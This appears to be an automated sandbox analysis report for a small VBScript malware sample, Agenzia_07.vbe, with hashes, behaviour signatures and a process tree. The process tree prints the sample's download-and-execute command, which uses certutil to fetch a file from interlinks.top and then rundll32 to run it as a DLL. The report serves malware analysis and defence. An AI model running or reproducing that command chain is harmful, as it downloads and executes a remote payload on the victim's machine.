Analysis
- max time kernel
153s - max time network
138s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
10/02/2022, 10:22
Static task
static1
Behavioral task
behavioral1
Sample
Agenzia_07.vbe
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Agenzia_07.vbe
Resource
win10v2004-en-20220113
windows10-2004_x64
0 signatures
0 seconds
General
- Target Agenzia_07.vbe
- Size 247B
- Sample220210-md8ngaggc4
- SHA256 bf02aa4fa7c3ddab5d533cf7e07829185c4100ae3e8207b0ced45666ea45802e
- MD5 87495897169e5901fceb832c768b75eb
- SHA1 5125d2c1045bba3842ecb6e96c65095a9126f183
- SHA512 f6f1f3b086ea2adc9c7d91f88f74a2868da10d88371cc3dd888ce68bb5b831388b57398d4f9b94ccc1b888e0911bd2682bf9aca9cbde171da340e76d306c5575
- MD5 SHA1 SHA512
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation WScript.exe - Drops file in Windows directory 8 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe File opened for modification C:\Windows\WinSxS\pending.xml TiWorker.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 112 svchost.exe Token: SeCreatePagefilePrivilege 112 svchost.exe Token: SeShutdownPrivilege 112 svchost.exe Token: SeCreatePagefilePrivilege 112 svchost.exe Token: SeShutdownPrivilege 112 svchost.exe Token: SeCreatePagefilePrivilege 112 svchost.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe Token: SeRestorePrivilege 1028 TiWorker.exe Token: SeSecurityPrivilege 1028 TiWorker.exe Token: SeBackupPrivilege 1028 TiWorker.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4900 wrote to memory of 2044 4900 WScript.exe 81 PID 4900 wrote to memory of 2044 4900 WScript.exe 81 PID 2044 wrote to memory of 1292 2044 cmd.exe 83 PID 2044 wrote to memory of 1292 2044 cmd.exe 83 PID 2044 wrote to memory of 2656 2044 cmd.exe 84 PID 2044 wrote to memory of 2656 2044 cmd.exe 84
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Agenzia_07.vbe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f https://interlinks.top/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt && timeout 8 & rundll32 C:\Users\Admin\AppData\Local\Temp\\image.txt, DllRegisterServer2⤵
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\system32\certutil.execertutil -urlcache -split -f https://interlinks.top/image.txt C:\Users\Admin\AppData\Local\Temp\\image.txt3⤵PID:1292
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C:\Windows\system32\rundll32.exerundll32 C:\Users\Admin\AppData\Local\Temp\\image.txt, DllRegisterServer3⤵PID:2656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:112
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1028